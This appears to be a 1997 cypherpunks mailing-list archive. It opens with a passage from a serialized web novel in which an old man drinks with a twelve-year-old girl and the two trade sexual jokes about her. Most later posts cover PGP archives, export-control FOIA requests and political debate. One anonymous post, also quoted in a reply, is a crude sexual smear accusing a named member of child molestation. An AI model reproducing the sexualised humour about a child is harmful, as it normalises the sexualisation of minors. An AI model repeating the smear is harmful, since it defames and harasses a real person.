"Your protection falls in the realm of a 'sacred duty' that
must, without fail, be performed as a prerequisite for engaging
the services of one who is not yet of sufficiently developed to
the point of being able to take full responsibility for consenting
to what will be required of them, nor fully capable of understanding
the risks involved, however minimal. Thus, it is a sacred duty,
for your mother and myself, to ensure that the experience will
be to your benefit, and in no way to your detriment."

A light suddenly went on in Alexis' head.
"It's not just a 'coincidence' that my mother 'dated' so
many psychologists that she didn't seem particularly attracted
to, romantically, is it?"

"No,", Bubba chuckled, smiling, "but they all agreed,
to a man, that they never saw any need for concern for your psychological
well-being, but were gravely concerned about the effect that your
pre-pubescent, perverted little mind might have on a broken-down
old derelict such as myself."

"So what's the term for a child who molests old men?",
Alexis said, with a laugh, reaching out and giving Bubba's buttocks
a good, solid pinch.

"A whippersnapper!", Bubba shouted out in pain,
slapping her hand, and they both began laughing at each other.


Shortly, Bubba began explaining, once again, the process of 'initiation'.

"After receiving the 'truth' and the 'warnings' concerning
Bubba Rom Dos, our emissaries would proceed to 'initiate' the
'chosen' into the 'Circle of Eunuchs', and outline the basic requirements
expected of them, and what they could expect in return."

"These were as follows:

1. For reasons of security, they would have no way of contacting
the 'Circle', or anyone in it, until such time as it was decreed
that it was necessary, and that they were a safe risk.

In actual fact, there was never any further contact made. There
was no 'Circle', at least, that the Rom Dos lineage was
aware of, in existence, so there was no one to contact.

2. They were, upon 'initiation', full members of the 'Circle'
and obliged to commit to a life-long service of the Magic Circle.
Until such time as they were contacted, and given instructions
or orders, they were to develop, to the best of their abilities,
their computer skills, keeping in mind the kinds of expertise
that they might need when the time came for action.

Our theory was that, if we made them life-long members, they would
be ready and waiting if the mythical 'Circle' ever did surface,
if it actually existed, of course.

We also felt that a multitude of self-directed, self-trained individuals,
if they ever were brought into the 'Circle' and unleashed, would
have a multitude of differing approaches to unique situations,
thus making it exceedingly difficult to analyze, categorize and
counteract their talents and skills.

3. They were told to watch, and wait, ever vigilant, for a 'sign'
from the 'Circle', whether they had been contacted or not. We
told them, with a great air of mystery, that they would know
the message when they heard it, and know that it was time
to act.

It sounded good to us, and it might, after all, some day be true,
instead of 'horseshit'.

4. They were given a 'secret account number' to send donations
to, in order to support the 'activities' of the 'Circle', and
instructions on how to hide the monetary and credit transfers.

Gomez and the Dark Allies knew and recorded every single transaction,
of course, there was no way to hide it.
Our clever, masterful plan, however, was to spend every last penny
donated on riotous living and a licentious lifestyle, with only
the purest of intentions, of course-namely, to convince Gomez,
beyond a shadow of a doubt, that Bubba Rom Dos was a thieving,
broken-down old derelict whose only angle in this whole 'Circle
of Eunuchs' affair, was to rake poor, impressionable youths for
every penny possible, and piss it all away in pursuit of Bacchanalian
excess and lascivious conduct."

"And no one will deny that I, and my ancestors, more than
succeeded in this aim." Bubba added, lifting his shotglass
in toast to himself.

"So basically," Alexis summarized, "the Rom Dos
lineage, of which you are a proud member, spent four generations
purporting to be, and confirming, that they were drunken, psychotic,
child-molesting losers, and suckered a multitude of trusting 'seekers'
into waiting for something which did not even, to your knowledge,
even exist, while scamming these poor, lost souls' hard-earned
funds to support your debauchery."

"Yes." Bubba replied, proudly patting his generous,
rotund, pot-belly, "Once you remove all of the eloquent sugar-coating
I've added to my explanation, that is pretty much what our work
has all boiled down to."

"Nice work, if you can get it.", Alexis added, with
a huge smirk.

"Ain't it, though.", Bubba replied, and they both laughed
like banshees, and toasted one another with upraised shot-glasses,
filled to the brim with Bubba Rom Dos' Private Reserve of Jim
Beam. 

They both grew silent, Alexis' face grew gravely serious, and
Bubba realized that it was now time to address her heartfelt question
concerning the Cowboy's fate.

As much as he hated himself for it, Bubba felt that his only alternative
was to proceed according to his perennial fall-back plan, and
spread as much 'manure' as humanly possible, hoping that something
might grow out of it.

"Alexis," Bubba began, "the Cowboy has set his
plan in motion, and willingly sacrificed himself to achieve his
ends, which are for the benefit of the whole of humanity, at the
most critical point in the history of human development."

"It would be a sacrilege for anyone else to take actions
which might negatively affect the outcome of the plan he has set
in motion, at great cost to himself."

"You, however...", he looked deeply into Alexis'
eyes, "you have a connection to the Cowboy that goes
beyond a relationship of 'one' to the 'other'. You, and
only you, have a right to..."

Bubba stopped, abruptly, in mid-sentence, and Alexis, hanging
on his every word, drinking in every nuance of what he was saying,
waited for him to continue.
"Shit!", Bubba said.

"Shit!", he said, again. "I fucked it up. I should
have waited until I was sober."
"Damn!", he exclaimed, in exasperation.

"Bubba, what the hell are you talking about?", Alexis
asked, now worried.

Bubba, seeing no other way around it, told the truth.
"Alexis, I have no idea of anything that I or anyone else
can do to pull the Cowboy's ass out of the fire. I was planning
on feeding you a bunch of horseshit about you being the only one
who could 'connect' with him and find out what might be done,
but then I realized that it would leave you 'holding the
bag' for his death..."

"...Sorry, dear. That was a very bad choice of words."

"Look, Alexis, I'm drunk, I'm tired, and 'Circle of Eunuchs'
or not, you and I are on Gomez's Number Uno Hit List, and I have
not the slightest inkling of how to save 'our' asses, let alone
the Cowboy's, so just let me drink myself into a stupor and go
to sleep, and I'll be able to feed you a much better line of horseshit
when I've had a chance to rest."

"Hell, I'll probably come up with a line of horseshit so
good that I might even believe it, myself."

Bubba watched the blood boil to the top of Alexis' body, turning
her face a fiery red, and he realized that he was about to once
again serve his prime purpose in life, which was to take a well-deserved
shit-kicking for being such a sorry piece-of-shit, so he was not
surprised when the first blow came.

"You ratfucker!" Alexis screamed, as the first
blow almost knocked Bubba on his 'can'. The second blow followed
quickly.
"You sorry, no-good, piece-of-shit, ratfucker!",
a good, solid body-blow that sent Bubba sinking to his knees.

"How could you even think of doing that to a twelve
year-old child.", she screamed with the third blow, as
Bubba groaned from the realization that she was going to pull
out all the stops, and subject him to psychological abuse, as
well.

"Almost thirteen.", he whispered, in self-defense.

"TWELVE!", Alexis shouted at the top of her lungs,
so angry that she forgot to hit him this time, but she quickly
made up for her momentary lapse.
"Twelve! Twelve. Twelve", she repeated, in conjunction
with three shots to his chest that knocked the wind out of him
and sent him sprawling backwards, onto the floor.

Bubba lay there docile and resigned, waiting for the next series
of blows which, after a few moments, he realized were not forthcoming.
Tentatively, he raised his head and saw Alexis sitting beside
him, holding out a shot-glass full of Jim Beam as a peace-offering.

"Almost thirteen.", she conceded.

Bubba looked at her, without the slightest trace of reconciliation
on his face, took the shot-glass from her hand, and said, sternly,

"Twelve!"

He knocked back the shot of Jim Beam, gave her his best lecherous
wink, and continued,
"Still young enough to spank!"

"You filthy old pervert!", Alexis exclaimed in
surprise. "Wait till I tell my mother your sick, twisted
fantasies."

"Hell," said Bubba, "I was fixing to spank her
next!"

They both laughed at the thought of what Priscilla might have
to say about this, but their views differed on this point.

"She'd probably decide to spank me, instead.",
said Bubba.

"No," Alexis said, "knowing mom, she'd probably
demand to be first."

After a short fit of laughter, they fell silent again for a few
moments.

"Bubba?"

"Yes, my love."

"Would you like to give your line of horseshit another try?
I need something to believe in and 'horseshit' is better
than 'no shit at all'. 

Bubba laughed, and realized that their falling into a common sense
of humor, as he and the Cowboy used to do, was probably a sure
sign that he had finally succeeded in being an evil influence
on youth-getting a twelve, almost thirteen, year-old girl drunk.

Bubba stumbled to his feet, he pretended to be pulling his fly
down, as he said,
"Alexis, I want you to tell me how many fingers you see."

She fell over, laughing, and he sank to the floor in laughter,
as Alexis said,
"That's the kind of humor that you and the Cowboy shared,
wasn't it?"

"Yes.", Bubba said, and remained silent for a short
while.

"I miss him, Bubba."

"I miss him, too, dear."

Alexis poured them both another drink.
"Don't worry about getting me drunk, Bubba. Try to think
of it as saving the embalmer a little money."

They both laughed, once again, and grew silent. Then Bubba said,

"I probably should have gone with the 'Power of Myth' horseshit,
like I originally planned."

"Oh?", Alexis was interested. "How was that
pile of crap supposed to go?"

"I don't know, really, I hadn't finished working it all out."

"Well, then why don't we finish it together, and give it
a try?"

"O.K. What the hell.", Bubba began fishing through his
papers, while Alexis poured them another drink.

"Bubba?"

"Yes, drunk...I mean, dear." 

Alexis slapped him on the shoulder, for being 'silly'.
"Would we be laughing about dying, if we were sober?"

"Yes," Bubba said, after a moment's reflection, then
added, "but it wouldn't be near as funny."

The two of them broke into a fit of laughter that left them holding
their sides to keep from hurting. Alexis was still wiping the
tears from her eyes when she asked Bubba,

"You ever see those posters in the Museum, where the ancient
religions swindled people out of their money by using pictures
of skinny kids and claiming they were going to go to bed hungry
if people didn't send the religion, not the kids, a whole bunch
of money.?

"Yes.", Bubba replied.

Alexis rose to her feet, used her fingers to imitate the frame
of a poster, with herself in the middle, and proclaimed, in all
solemnity,
"Poor little Alexis is going to die sober, unless Bubba Rom
Dos donates another bottle of his Special Reserve to the 'Circle
of Eunuchs'."

She sat down, laughing, as Bubba, taking his cue, dug out another
bottle. And she grew morose, thinking, not about her own possibly
impending death, but that of the Cowboy.
"Bubba, do you realize that unless we bust the Cowboy out
of Nuthouse Number Nine, that I will, in all likelihood, die a
virgin?"

"Not if you fall asleep before I do.", Bubba replied,
sending them both into spasms of laughter, once again.

"No, I'm serious.", Alexis said, slapping at him to
'serious him up', but missing.

"Well," Bubba said, solemnly, 'you might 'die' a virgin,
but you probably wouldn't stay that way for long, because pedophilia
isn't my only perversion.", he doubled over, in laughter.

"No! You sick bastard, get serious.", she said, and
then decided that Bubba's remark was indeed as funny as he seemed
to think it was, and she went into another laughing fit, before
composing herself, once again.

"O.K. Alexis," Bubba suddenly said, having found the
papers he was looking for, "the Power of Myth is ready to
be subjected to frontal attack, and bent to do our bidding."


Chapter 26 - For Whom The Bell Trolls / Chapter 27
- Whippersnapper








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Miskell <DMiskell@envirolink.org>
Date: Sat, 5 Apr 1997 14:30:26 -0800 (PST)
To: vmpwld@durham.net
Subject: GC: Alert addition to da home page.
Message-ID: <199704052228.RAA12186@envirolink.org>
MIME-Version: 1.0
Content-Type: text/plain


Greets, everyone!  To keep this message short, I'm just going to
beg and plead you all to go surf my page.  More specifically, I'm
begging you to surf the alert section of my page, I just put it
up today, and I think that it's something everyone needs to see.
My page is at:

http://www.geocities.com/Paris/LeftBank/4795

Wether or not you like me, or even know me, I think you ALL should
read this, and pass it on to your friends.
---
Daniel.
---
The following signature attachment has been reviewed and edited
by the United States Government, as per the standards set forth
by the Telecommunications Decency Act of 1996.  The following
text is the remaining signature, deemed holesome and acceptable
for consumption by the general public:







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sat, 5 Apr 1997 14:42:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Truth Monger
Message-ID: <199704052242.OAA14717@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




I am not a ''multi-user Net persona''!
I am Cypherpunks incarnate!
I am Bright!
I am Beautiful!

Listen to me!
 I am the Truth!
  I Monger!


Truth Monger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sat, 5 Apr 1997 16:40:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Mailing List Archive
Message-ID: <3.0.1.32.19970405193438.007b6a20@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Resent-Date: Sat, 5 Apr 1997 16:52:19 -0500
>Resent-From: pgp-users-request@rivertown.net
>Date: Sat, 5 Apr 1997 16:52:54 -0500 (EST)
>From: "Fred B. Ringel" <fredr@joshua.rivertown.net>
>Reply-To: fredr@joshua.rivertown.net
>To: pgp-users list <pgp-users@rivertown.net>
>Resent-Message-ID: <"eNeAUC.A.DkG.SmsRz"@rivertown>
>X-Mailing-List: <pgp-users@rivertown.net> archive/latest/2270
>X-Loop: pgp-users@rivertown.net
>Resent-Sender: pgp-users-request@rivertown.net
>Subject: [PGP-USERS] New Mailing List Archive
>
>Hi all-
>
>	Just wanted you all to know that, with the co-operation of Barry
>Cox, I will be keeping an archive of the new Privacy Shell Mailing List in
>conjunction with the PGP-Users Web site. It will be updated on a weekly
>basis.
>
>	The URL is http://pgp.rivertown.net/PI-List/
>
>	I hope this will be a good source of info for those with Private
>Idaho related question/problems.
>
>	Fred
>/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
>Fred B. Ringel			--	Rivertown.Net Internet Access
>Systems Administrator		--	http://www.rivertown.net
>and General Fixer Upper		--	Voice/Fax/Support: +1.914.478.2885
>	Although in theory, there's no difference between 
>	theory and practice, in practice, there is.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 5 Apr 1997 15:19:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ruritania Discovers Motor Transport
Message-ID: <199704052213.XAA01388@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





Ruritania Discovers Motor Transport
-----------------------------------

Once upon a time in the land of Ruritania (known for
its transparent trees, but that's not today's story)
the population were discovering motor transport.

All kinds of good things became possible then, including
faster and safer deliveries, new kinds of business carried
out over distances (and with that opportunies for foreign
trade) there was a lot of interest in the subject from
far-sighted people.

But the government of Ruritania concentrated on the
problems they imagined plaguing the acceptance of this
technology.  (The government was a democratic one, that
is to say a loosely-related band of popularity-seekers.)
There were cries of how the added speed and load capacity
of these newfangled cars would assist crime.  A few wise
men pointed out that though cars probably would be used
in some crimes, the advantages were still clear.  For one
thing criminals might still be in the minority, while the
people standing to gain would be practically everybody.
Also the cars would prevent much crime.  For example,
people would be harder to attack than when walking home
from the the supermarket carrying 6 heavy bags of food.
They'd load up with other people nearby and be home sooner
and more safely.

The government agreed there were advantages, and
certainly didn't wish to appear backward or oppressive,
by prohibiting mere members of the public from driving.
So a plan was made to permit driving, but with restrictions
to suit the government's wishes.  There was to be a police
officer in every petrol station to record who went where,
when and what they were doing.  Only that didn't suit the
public spending figures (nor probably the chief constables)
so instead distribution of petrol was banned.  Except,
of course, for the petrol vendors who enrolled in the
new branch of the Police force - the Traffic Tracking
Police (or TTP).  Members of this force had a bunch of
qualifications; mainly to do with ensuring that they could
be counted on to report on any traffic they'd observed -
within an hour - to the great guardians of the common good.
Surely nobody could fail to trust the government or any
related body ?  Weren't these the very people who had
defended our health at the risk of their own reputations by
stating that beef was certainly safe before any of the
research was in ? [1]  Or guided us to a right decision in
a promised referendum (on our association with nearby
countries) by not holding it.

This petrol distribution network announced by the
government (though not strictly a government body) was
trumpeted as progress and encouragement, bringing the
benefits of the technology to the public, business, and
anywhere else benefits belong in a democracy.  Sceptics
viewed it as a costly restriction.  People disinclined to
join the TTP, or indeed who failed the in the recruitment
process, were prohibited from supplying petrol (even free
of charge).  Criminals, so it was said, would be tracked as
they bought petrol because they would not be able to run a
black market in the petrol they needed for their crimes.
This looked decidedly doubtful.  The use of the petrol
was also ignored - fixed security lighting by petrol
lamps (hiding nothing, but rather the opposite) was also
restricted by the new progressive legislation.

Nor was that all.  Not content with banning the provision
of petrol, the ban also covered offering it.  The wording
of the act was so vague, causing concerned citizens
to wonder whether answering the telephone would be viewed
as supplying petrol (after all, it could save somebody
a journey).

And what about the scope for crime by people with
access (legitimate or not) to the records of the TTP ?
The legislation had a few things to say about that, but
wouldn't it be safer not to have the records ?
(Like the Ruritanian government had done with records
of polluted sites - look no pollution!)

So it was that Ruritania remained in the 1940's well into the
21st century.




[1] See 'Health & Safety at Work' April 1997
    for a grim view of this.
    ISSN: 0141 8246       HSW@tolley.co.uk

    

--
##########################################################
# Antonomasia                                            #
#                       ant@notatla.demon.co.uk          #
##########################################################




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 6 Apr 1997 00:30:42 -0800 (PST)
To: cryptography@c2.net
Subject: Wassenaar
Message-ID: <3.0.1.32.19970406003854.0078be00@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Arrgh. Have been comparing what I received via my FOIA request with what
other people have extracted and it looks like ACDA's response was incomplete.
(In particular, it appears from
<http://www.barrier-free.co.jp/a2z/c/CRYPTON/box1997/19970310-1-wassenaar-cat
.2.html>, also at <http://www.jya.com/wassnr52.htm> that Appendix 5 is *not*
empty.) 

So it's back to the FOIA salt mines for me.

 
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM0dem/37pMWUJFlhAQEziAf/Ucj4as/l1wtemzNATKBpEn1x7llAtv/k
xsDdDoHYJh0iMevtonKSsEolBK7IGFTNpNQjpBwsy9SFXCumOxeoR/P8qUMrrB5e
Wsit3OirO9yJszHrFCR6xVAU7sBOSkuT+iQpmw0/KlvlyVu3xtMaev8uBF96bFxu
rM/CK/+tZDU0fmRyUNVtlF9UhqWhQajDumbbvC0qG67ZS5028GtvqfJkC8J1r2J/
+1Dv2DZYTJl9eC44wQV2+cL/j7+NhtnTdf504s7tc1wQqO8mMqE5ndE0SWCXh/Q9
LAqDaxzf5uwkHPPdKswLZiWXjQozZD6EOAIagFWsmMr9YBXj9fWLHA==
=FBvA
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 6 Apr 1997 07:20:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Secure checksums
Message-ID: <199704061420.HAA23123@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May the self-admitted child molester 
possesses a rudimentary dick less than one 
inch long, half the size of his mother's 
clitoris, that barely makes a fistful. 
Thereby hangs the root of this Jew-hating 
sissy's sick fixation on little boys and 
Usenet forgeries.

          o-:^>___? Timmy May
          `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 6 Apr 1997 07:52:29 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: [PGP-USERS] New International Version
Message-ID: <3.0.1.32.19970406104151.007b7560@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Resent-Date: Sat, 5 Apr 1997 21:19:13 -0500
>Resent-From: pgp-users-request@rivertown.net
>From: patm@connix.com (Pat McCotter)
>To: pgp-users@rivertown.net
>Date: Sat, 05 Apr 1997 21:19:03 -0500
>Reply-To: patm@connix.com (Pat McCotter)
>Resent-Message-ID: <"1mPwfB.A.BzH.ggwRz"@rivertown>
>X-Mailing-List: <pgp-users@rivertown.net> archive/latest/2272
>X-Loop: pgp-users@rivertown.net
>Resent-Sender: pgp-users-request@rivertown.net
>Subject: Re: [PGP-USERS] New International Version
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Sat, 5 Apr 1997 18:38:08 -0500 (EST), GWNapier@aol.com wrote:
>
>:I have heard that there is new international verison of PGP out.  Anyone know
>:about it?
>
>PGP 2.6.3in
>If you can read German, it's here:
>  http://www.in-ca.individual.net/
>  ftp://ftp.iks-jena.de/pub/mitarb/lutz/crypt/software/pgp/
>
>Lutz Donnerhacke <lutz@iks-jena.de> has said if I know a good
>English/German speaking person, he will send them the web texts for
>translation and then post them. I don't. Does anybody here?
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3a
>Charset: cp850
>
>iQEVAwUBM0cHmAhAaMnUN7LZAQHJnAf+N4NlzCEVd5A1/TUhwUGNJEbNdqEI7mXG
>OHAX5H22iwjkVKMMx0uPTQ+VTmdiODW1DtDy3EgWUjzcxTX0xFOuEy3v948JG3qe
>pHC00EVpHzUZOzgbFc0B1ejePhhxhAAVprRCXeZT2G6b2u9bS34SH1kTy8+QCgxe
>crfh2z51eKKTH9ghAX3MvKqRP1S12i5jdMMcPsPhtPw/fEQH25+f64mJ6GxXWK9X
>R2FYwoNfXgA/pYnIj0z00PairsL5DGgkw4N/12yF0Kh7mnVw3+KO8cCe6+BWb0FL
>UPZ4akdw1v7vrIQC92GPADtUUW68hgpj3WW9p+bhLFHqpZKC2TnURQ==
>=AlTX
>-----END PGP SIGNATURE-----
>
>-- 
>Pat McCotter
>Finger for public key patm@connix.com or get it from the servers
>Type Bits/KeyID    Date       User ID
>pub  2047/D437B2D9 1996/05/10 Pat McCotter <patm@connix.com>
>Key fingerprint = D0 E7 C6 5A 9E EF 0D CF  C7 10 88 2A 73 41 11 24





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 6 Apr 1997 07:50:48 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Privacy-Shell Archive at Rivertown
Message-ID: <3.0.1.32.19970406104306.007c6c00@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: supportptech@mail.ptech.simplenet.com
>Date: Sun, 06 Apr 1997 00:15:07 -0500
>To: privacy-shell@s1.net
>From: PI Tech Support <support@ptech.simplenet.com>
>Subject: Privacy-Shell Archive at Rivertown
>Sender: owner-privacy-shell@s1.net
>Reply-To: privacy-shell@s1.net
>
>Hello Everyone:
>
>	Thanks to the efforts of Fred Ringel, the Privacy-Shell
>Mailing List will be archived on a weekly basis at the following URL:
>
>   http://pgp.rivertown.net/PI-List/
>
>	Hopefully, the archive can provide PI users with an 
>additional source of help for PI-related questions/problems.
>
>	Additionally, some subscribers to Privacy-Shell may not know 
>about the wealth of PGP-related resources available at Fred's PGP-Users 
>Web site.  If you have not visited there, please visit the following URL:
>
>   http://pgp.rivertown.net/
>
>Best Wishes,
>
>Barry Cox
>To remove yourself from this mailing list, send a message to
>privacy-shell-request@s1.net.  In the body of the message put the
>word unsubscribe.  To view the list archive, point your web browser to
>http://pgp.rivertown.net/PI-List/
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 6 Apr 1997 10:31:22 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Secure checksums
In-Reply-To: <199704061420.HAA23123@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970406112811.64082E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 6 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy May the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of his mother's 
> clitoris, that barely makes a fistful. 
> Thereby hangs the root of this Jew-hating 
> sissy's sick fixation on little boys and 
> Usenet forgeries.
> 
>           o-:^>___? Timmy May
>           `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Sun, 6 Apr 1997 15:28:20 -0700 (PDT)
To: snow <snow@smoke.suba.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <1.5.4.32.19970406222653.006c16e0@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:33 AM 4/6/97 -0600, you wrote:
>The Limey Apologist said:
>> > At 1:51 PM -0600 4/4/97, null@myemail.net wrote:
>> them as a sovereign nation that was the spark to the flame. Try
>> reading "Lies my teacher told me" sometime.
>> Given that the American revolution institutionalised slavery and
>
>	I think slavery was an institution long before the White Man
>came to the New World. If I remember correctly, slavery wasn't outlaws
>in england until long after the United States was a soverign contry.
>
>> lead to the theft of Indian land, and the French revolution the murder of 
>
>	If the indians didn't believe that _they_ owned the land, and infact
>didn't have the concept of land ownership, how could it have been "stolen"?

The concept is that of preservation and use by all.  The government denied
the Indian the use of the land through eminent domain, encroachment or force
which is the government's way of taking, not stealing, what it wants:  a
distinction without a difference. I agree with your other points. 

>
>> People are not fit judges of their own cause. The civil war was started
>> by the South who believed that the North might infringe their "right"
>> to own others as property.
>
>	Actually, the "symptom" was slavery, the disease was federal 
>intrusion into the area of states rights. 
>
>	
>
>


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David





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 6 Apr 1997 20:22:55 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704060733.BAA03406@smoke.suba.com>
Message-ID: <9yoR5D64w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> The Limey Apologist said:
> > > At 1:51 PM -0600 4/4/97, null@myemail.net wrote:
> > them as a sovereign nation that was the spark to the flame. Try
> > reading "Lies my teacher told me" sometime.
> > Given that the American revolution institutionalised slavery and
>
> 	I think slavery was an institution long before the White Man
> came to the New World. If I remember correctly, slavery wasn't outlaws
> in england until long after the United States was a soverign contry.

A couple of weeks ago I and the family were in Washington DC and we
dropped by the Museum of Natural History in the Mall. It's almost
as cool at the Museum of Natural History in NYC. One of the things
I noticed was a special "braining club" used by the Pacific North
West indians. As some readers may know, PNW indians did not believe
in accumulating wealth.  Rather, they tried to build "reputation
capital" (a la Timmy May) by conspiciously destroying wealth in
ceremonies known as "potlatch". One indian would, say, publicly
burn 10 sacks of grain. Another would try to outdo him by publicly
burning 20 sacks of grain. (Somehow, this sounds like Cypherpunks.)

Now, one of the ways indians showed off their wealth was by
killing their slaves during the potlatches using this braining club.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 6 Apr 1997 18:45:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 28
Message-ID: <334851E8.97C@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


"The Power of Myth is the cornerstone of the 'Inaugural
Enigma'. Mythos is the 'Black Bitch' of the universe...it's
the wildcard in the game of life."


Bubba and Alexis stared at the writing on the first sheet of paper
on their neat, organized pile. It was a large pile, representing
lifetimes of research on the concept of the Inaugural Enigma.
Research that had begun with the acquisition of the sheet of paper
that Bubba and Alexis were now pondering upon.

It was in the handwriting of the Fool.

Bubba set the Fool's quote aside, picked up the rest of the pile
and heaved it behind him, into the corner of the room. He set
the Fool's quote in between the two of them, and turned to Alexis.

"We begin."

Alexis sat silently, staring at the sheet of paper lying on the
floor in front of her. She lay back and stretched out on the rug.
She closed her eyes and let her mind go blank, once again. She
could feel Bubba's mind, equally quiescent, on the other side
of the sheet of paper, with the Fool's quote abiding placidly
between them, speaking to them from across the centuries.
"Bubba...", Alexis sat silent for a moment, waiting
for the question to gain its full shape in her mind, then continued,
"What makes myth real?"

Bubba opened his eyes, and thought about this for several minutes.
He sensed that it was a question that had the power to remove
the veil that had hung over their eyes regarding the full meaning
of the Fool's quote.
"Belief, for one thing, I suppose." Bubba said, then
added, "At least, belief opens the door, I am sure."

"I think you're right, about that.", Alexis said, thoughtfully.

"I remember when I was a young girl...last year,"
she giggled, then composed herself, "I had read 'Cinderella',
a small book from the Antiquities Library, and I wanted it to
be real, for me. I wanted it so very badly, I thought about it
all the time, and wished for it and wished for it. And then came
my eleventh birthday, and I wished so very much that I had a father.
Every birthday, I had always wished that I had a father to share
it with, to watch me grow up, and tell me what a big girl I was
getting to be. To put his big, strong arms around me and hug me-and
to love me.
"And when it came time to blow out my birthday candles, I
couldn't decide which to wish for, this time, a father, or for
Prince Charming. So I wished for both. And then the Cowboy came."

Alexis grew silent, lost in thought, and Bubba knew what she was
reliving in her memories.

The Cowboy had dropped by to speak to Bubba about a rendezvous
they had planned later on in the week. He was on his way to a
highly important InterNet security meeting, and said he could
stay only a few moments. Priscilla offered him the last piece
of Alexis' birthday cake, and had her take it to him. The Cowboy
could see how sad the youngster was, so he made an effort to cheer
her up, but she was having none of it.

The Cowboy didn't press the point, he merely made polite social
talk with Priscilla and Bubba, but while doing so, he walked over
to a table where some uninflated 'birthday balloons' lay. He picked
them up and fiddled with them, blowing them up and twisting and
joining them as he talked. He ignored Alexis, who was watching
with increasing interest as the balloons became a large multi-colored
bouquet of flowers, one with a magical artistic sense about it.

By the time he finished, the bouquet was marvelous, and Alexis
had become totally transfixed on it. The Cowboy turned with a
smile towards her, handed it to her and said, "For the 'birthday
girl'."

Bubba knew now that Alexis' wishes-both of them-had taken a small
step towards becoming real that day. And it had something to do
with the ability of a fable, such as 'Cinderella', to inspire
belief, and the tradition of 'birthday wishes' to inspire hope,
and something to do with 'desire', which was common to both.

"Hope, belief and desire.", Bubba said. "The beginning
steps on the Road to Reality."

Alexis and Bubba closed their eyes and quieted their minds, once
